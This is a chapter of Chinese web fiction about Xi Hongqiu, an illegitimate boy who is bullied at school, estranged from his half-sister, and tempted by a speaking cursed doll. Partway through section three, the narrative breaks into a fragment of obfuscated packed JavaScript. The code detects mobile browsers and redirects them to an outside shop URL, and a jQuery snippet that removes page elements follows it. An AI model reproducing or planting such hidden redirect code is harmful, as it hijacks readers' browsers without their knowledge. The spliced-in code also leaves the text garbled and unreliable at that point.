一
席鸿秋小时候，是个爱笑的孩子。这话说出来，大概没人信。
毕竟后来的他阴沉、寡言，身上像笼着一层雾，让人看不真切。
但七岁以前，他会追在席悯春后面跑，会拽着她的衣角喊“姐姐姐姐”，会在院子里疯跑一整个下午，笑得眼睛弯成两道月牙。
邻居家的阿姨看见他，总要捏捏他的脸，说“这孩子长得真好看”。他就笑，露出两颗门牙，说“阿姨好”。
席悯春比他大十岁，是席家名正言顺的大小姐。她的母亲早逝，父亲席定州常年在外做生意，家里请了个保姆照顾她。
那个保姆姓李，是个很温和的女人，会给她梳头、做饭、讲故事。席悯春叫她阿姨。
后来阿姨生了个孩子，就是席鸿秋。
但席鸿秋从来没见过那个女人。她生下他，连月子都没坐，就走了。去了哪里没人知道，也没人敢问。
席鸿秋后来想，也许她根本就不想要这个孩子。
他的出生是不被母亲看好的。
他的血液是肮脏的吗？
他不知道。
他只知道自己一出生就在这个家里，有姐姐，有偶尔回来的父亲。没有母亲。
他曾以为所有人都是这样长大的。直到他看见邻居家的阿姨温柔地抱着她的孩子笑。
他也曾问过席悯春：“妈妈呢？”
席悯春愣了一下，说：“走了。”
他又问：“去哪儿了？”
席悯春没有回答。
于是他不再问了。
因为他从席悯春的眼睛里看到了某种很可怕的东西——憎恨，与厌恶。
所以他不再问了。
他从来没有见过那个女人，不知道她长什么样，不知道她说话的声音，不知道她的一切。
他没有见过她，所以他不在乎。
他在乎的只有一个人——席悯春。
他记得席悯春抱过他。
在他还很小的时候，她把他抱在膝上，指着院子里的银杏树说：“你看，多么高大的一棵树——你知道它代表着什么吗？”
她没有等他回答，他也没办法回答。
她说：“它代表着长寿，财富，和……”
最后四个字，她一字一顿道。
“忠贞不渝。”
他听不懂。
席悯春对席鸿秋并不亲近。
她是大小姐，他是保姆的儿子。她比他大十岁，有自己的朋友，自己的生活。
她本可以因为他和父亲大吵一架，可是她没有。
她给他带吃的，给他买衣服，在他被父亲骂的时候挡在前面。
但她看他的时候，眼神总是复杂的。
小时候他看不懂，长大后他习惯了。
他不在乎这个，他只知道，席悯春是唯一对他好的人，无论是否出于真心。
二
七岁那年秋天，席鸿秋上了小学。
学校在城东，离家不远。第一天上学，席悯春送他到校门口——她早就被保送了，现在在家里上私教——蹲下来给他整理书包带子。
“好好听课，”她说，“放学我来接你。”
他点点头，背着书包跑进去。
他一直很向往学校。学校里有很多小朋友，有滑梯，有秋千，有画着彩色图画的墙。他坐在教室里，听老师讲话，看窗外的操场，觉得一切都新鲜。
课间的时候，他和几个男生一起踢毽子，笑得很大声。
同桌是个虎头虎脑的小男孩，剃的寸头看着就扎手。他说他叫陈水，帮他收拾书包，还给他分橘子吃。
他觉得自己交到了朋友。放学的时候，他坐在席悯春的自行车后座上，叽叽喳喳地说学校的事。
她听他说，偶尔应一声。
他觉得很开心。
但开心没有持续太久。有一天，陈水忽然问他：“来送你的那个是你妈妈吗？好年轻！”
席鸿秋摇摇头，“是姐姐。”
陈水挠挠头：“那你妈妈呢？”
席鸿秋想了想，说：“我没有妈妈。”
陈水愣了一下，又问：“你怎么会没有妈妈？每个人都有妈妈的！”
“可是我没见过她，”席鸿秋说，“她生下我就走了。”
“去哪儿了？”
“不知道。”
陈水看着他，眼神变了。那是一种他不认识的东西。后来他才知道，那叫怜悯。
陈水没再说什么，但席鸿秋就是觉得不舒服。他低下头，松开搭在他肩上的手，自己走了。
那天放学，席悯春来接他，他坐在自行车后座上，把脸贴在她的背上，一句话都不说。
席悯春回过头看了他一眼，又扭回去。
“坐好。”她说。
又过了几天，课间的时候，几个高年级的男生把他堵在厕所里。
他认识其中一个，是附近有名的霸王，叫季庭。仗着家里有钱有势，堵人，骂人，打人。没人敢管。
季庭比他高两个年级，站在面前像一堵墙。
“你就是席鸿秋？”墙问。
席鸿秋瑟缩着点点头。
“听说你没有妈妈？”墙把棍子怼在他脸上，“那是他们骗你的！你妈妈是保姆！你是私生子！”
那个人笑，旁边的人也跟着笑，很吵。
席鸿秋不知道“私生子”是什么意思，但他从他们的笑声里体会到了什么。
“私生子是什么？”他颤抖着问。
那些人笑得更厉害了。
“就是野种的意思——你是野种。没爹没妈的野种。”
席鸿秋愣住了。他站在厕所的角落里，看着那些人笑着走远。
他没有哭。
他攥着拳头，指甲掐进掌心里。其实他也不明白什么是“野种”。但他明白了一件事——他和别人不一样。
他的身世是见不得人的。
席鸿秋不知道自己是怎么回到教室的。
他坐在座位上，看着黑板，一个字都看不进去。脑子里一直转着那个词：私生子。私生子。私生子。
放学的时候，席悯春来接他。她站在校门口，看见他出来，冲他招招手。
他走过去，低着头。
“怎么了？”她问。
“没什么。”他答。
她蹲下来，看着他。
“你哭了？”
他摸了摸脸，是湿的。他不知道自己什么时候哭的。
“没有。”他说，“风太大了。”
席悯春看着他，没有追问。她站起来，牵着他的手，往家走。她的手很暖。但他觉得那只手忽然变得很远，远到他够不着。
三
那天晚上，席鸿秋躺在床上，把被子蒙过头顶。
他想起白天那些人，想起他们手里的棍子，想起他们哈哈大笑的样子，想起那句“野种”。
他不怕这个。他是被打大的。
但他突然又想起席悯春，想起她抱他的手，想起她温和的声音，想起……想起她看他时从内心深处溢出来，漫上眼睛，怎么也遮不住的憎恶。
他忽然感到害怕。
没关系。他安慰自己。
至少姐姐还是对他好的。
君子论迹不论心。
他的心“咚咚”地跳着。
他开始疏远她。
不再追着她跑，不再拽她的衣角，不再仰着脸对她笑。
她叫他，他应一声，低着头走过去。她摸他的头，他躲开。她问他想吃什么，他说随便。
他不知道自己为什么要这么做，但他不想让她看见他的样子。
他怕她嫌弃他。怕她也觉得他是私生子，是下人生的孩子，是配不上席家这个姓的人。怕她从那些人的眼神里，读出和他一样的羞耻。
席悯春没有追问。她只是看着他，眼神里那层雾越来越厚。
她不再接送他上学。
八岁那年冬天，席鸿秋在学校的处境更糟了。
那些欺负他的人见他没了人护着，于是更加的变本加厉，开始在放学路上堵他。
他走到回家必经的那条巷子。季庭带着几个人，在巷子口等他。
他们把他推倒，踩他的书包，往他头上倒垃圾。他尝试过绕远路，尝试过逃跑，到最后的结果都是被追上，被堵在巷口。
他们笑着看他。
他背靠着墙，心跳得很快。他们没动手，只是看着他笑。笑够了，勾肩搭背着走了。
他蹲下来，把脸埋进膝盖里。
但他没有哭。
陈水发现过他的异常，问过他，说要帮他撑腰。
他拒绝了。
他知道，陈水的行为并不是出于“他是我的朋友”，而是怜悯。
他不需要人怜悯。
于是陈水再也没问过他。
直到他转走。
不是席鸿秋——席定州不会同意的——是陈水。据说是得了病，遗传的，精神上的，转去了京城释关的医院。
他走后，原本还愿意和席鸿秋玩的朋友也都渐渐疏远了。
席鸿秋再也没交到过朋友。
那天放学，再一次被围堵以后，他低着头往家走，看见自己的影子被路灯拉得很长，很瘦，像一棵长歪的树。
他开始不喜欢照镜子。
镜子里的那个小孩，眼睛很亮，但嘴角是往下撇的。
他不想看见那张脸，太苦了。
让他总想起梦里的妈妈。
也许他长得像她。他不知道。他没见过她。但他害怕自己像她。
害怕自己和她一样，没人待见，没人记得。
第二年的春天，席悯春过生日。席定州难得回家，带着几个客人。
几个人围坐在客厅，席悯春穿着华贵的裙子，坐在他们旁边，微笑着。
席鸿秋从房间出来倒水，经过客厅，听见一个客人说：“老席，你这闺女长得真俊啊，看着就是能成才的。”
他说完席悯春，又说席鸿秋：“我看你儿子也不赖！聪明相！这叫什么——古有苏家一门三进士，今有席家——”
席定州摆摆手制止了他的话，谦虚地回敬回去，但嘴角扬着，看起来心情很好。
“有儿子是好事。”另一个客人搓着手，笑得脸上的肉都堆在了一起，很猥琐：“就是可惜了孩子他妈——我记得她长得也不错……”
席定州的笑容收了。
席鸿秋站在走廊上，端着水杯，一动不动。
他听见席定州说：“提她干什么。”声音很冷，像冬天的风。客人讪讪地笑了，换了话题。
席鸿秋转身回房间，把水杯放在桌上，水洒出来一点，在木制的桌案上救下深色的痕迹。他没擦。
他坐在床上，把膝盖抱在胸前。
他想起那个女人。他不在乎她。但他想知道，她到底是个什么样的人。为什么所有人都不愿意提起她？为什么她的名字像一道疤，碰都不能碰？
那天晚上，他做了一个梦。梦里有一个女人，背对着他，站在银杏树下。他想叫她，但不知道她叫什么。
他从来没听过她的名字。
他对她一点也不了解。
他也没有那个资格叫她。
女人转过身来，他看不清她的脸。她的脸像一团雾，朦朦胧胧的。她伸出手，想摸他的头。
他躲开了。
于是他醒了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420267|200808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>枕头是湿的。他不知道自己为什么哭。
他真的不在乎她。他一点都不在乎她。
四
九岁那年秋天，席鸿秋在学校的处境好了一些。
不是那些人变善良了，而是他们觉得欺负一个不哭不闹不逃跑的木头人没意思。季庭有了新的目标，很少再堵他了。
席鸿秋每天一个人上学，一个人放学，一个人坐在长椅上，看别人说说笑笑着经过他。
他的成绩掉得很厉害，从班级中游掉到倒数。老师找他谈话，他低着头，一声不吭。
老师没办法，叹了口气，让他走了。
他走出办公室，走廊上空荡荡的，阳光从窗户照进来，落在地板上，亮得晃眼。
他站在那儿，站了很久。
有一天放学，他看见一个男人站在路边，穿着洗得发白的西装，对着校门口翘首以盼。
他在等人。
席鸿秋从他身边经过，眼神不自觉地移向他。
他停下来。
“你在等谁？”他问。
男人低头看他，笑了笑：“等我儿子，和你一样大。”
席鸿秋看着他的脸，很普通，但很温和。
他忽然想，如果自己投进别人家里，是不是也会有妈妈，有接他放学的爸爸，有真正的，爱着他的姐姐。
五
席鸿秋一个人站在院子里，今天是他十岁的生日，正值夏秋之交。
他有时候会记不清自己的生日，不像姐姐——她生于立春，是万物初始，阳气初生的大好日子。不像他，夏不夏，秋不秋的，和他的身份一样尴尬。
银杏树的叶子黄了，落了一地，踩上去沙沙响。他仰着头，看那些光秃秃的枝桠伸向天空，像一把倒插的扫帚。
“看什么？”身后传来声音
他回过头。席悯春站在门口，手里端着一杯水，高高在上地看着他。
好几年了，她第一次这样跟他说话。他愣了一下，然后低下头。
“树。”他说。
“树有什么好看的？”
他想了想。“就是觉得它活太久了。”
席悯春似乎很不解他的话。她走过来，站在他旁边，也抬头看那棵树。
“活太久有什么不好？”她问。
“不知道。”他说，“就是觉得它很累。每年都要长叶子，每年都要掉。长了掉，掉了长。好让人厌烦。”
席悯春低下头，看着他。那眼神让他想起小时候，她抱着他坐在树下，说“忠贞不渝”。
他别过脸。
“你什么时候变得这么感性了？”她问。
席鸿秋没回答，而是转过身，走了。席悯春没有跟上。
他走进屋里，穿过客厅，经过父亲的房间。门开着，里面没人。他停了一下。
他也不知道为什么。鬼使神差一般，他走进去。
父亲的房间很大，收拾得很整齐，屋内的摆件或典雅或华贵。只有一件例外。
——桌下放着一个有些破旧的纸箱。
席鸿秋走过去把它翻开来看。里面是一个布娃娃。很小，巴掌大，浑身漆黑，眼睛是两颗红色的珠子，嘴角向上弯着，像在笑。他把它拿出来，放在手心里。
很轻。
“你好。”
他听见一个声音。很小，很轻，像是从很远的地方传来的，又像是从一个近在咫尺的地方——他的心里。
他的手抖了一下，布娃娃掉在地上，弹了两下，然后一动不动。
“你是谁？”他小声问。
“我是你的朋友。”那声音说，“我等了你很久。”
席鸿秋低头看着那个娃娃。它的红眼睛在灯光下闪动着，配着它黑漆漆的身子，妖冶又诡异。
“你父亲把我带回来，但他什么都不知道。”朋友说，“他想富，却满足不了我的要求。”
“所以你出生了。”朋友说着又笑起来，一声高过一声，到最后整栋房子都似乎充斥着它的声音，震得席鸿秋脑袋“嗡嗡”作响。
朋友笑够了，用愈发尖锐的声音把重心指向他。
“他知道你是谁吗？”
席鸿秋没说话。
“他知道你想要什么吗？知道你被欺负吗？知道你每天晚上压抑的难过与不甘吗？”
席鸿秋的手在发抖。
“他不知道。”朋友说，“他什么都不知道。他只想要一个出人头地的儿子，一个能给他长脸的继承人。你不是。你不仅是私生子。你还是个废物。你是多余的。”
“闭嘴。”席鸿秋说，不，是大吼。声音比朋友还大，还高。
席悯春听到动静，匆匆前来，看到弟弟跌坐在父亲的房间里，箱子被从桌底拖出，有打开过的痕迹。
除此之外再无其他。
她没说什么，只是走过去把箱子收拾好推回原位，然后把他拉起来，拍拍裤子上的灰，又走了出去。
她没有问他发生了什么。
她走后，席鸿秋才把藏进上衣里的娃娃拿出来。
“你看，”朋友的声音里充满了幸灾乐祸，“你的姐姐也不在乎你。”
“她甚至恨不得你死。”
席鸿秋猛地握住娃娃的脖子，一寸寸地收紧。
娃娃回他以无机质的红色玻璃珠做成的眼睛和被缝在嘴角，一成不变的温和的笑。
多讽刺。
他听见朋友笑了。那笑声很轻，像风吹过枯叶。
“你甘心吗？”
“被朋友疏远，被同学殴打，被父亲责骂，被姐姐……憎恨？”
席鸿秋看着手里的娃娃。它的红眼睛亮亮的，像两团火，烧得他心颤。
“你甘心吗？”朋友仍在问。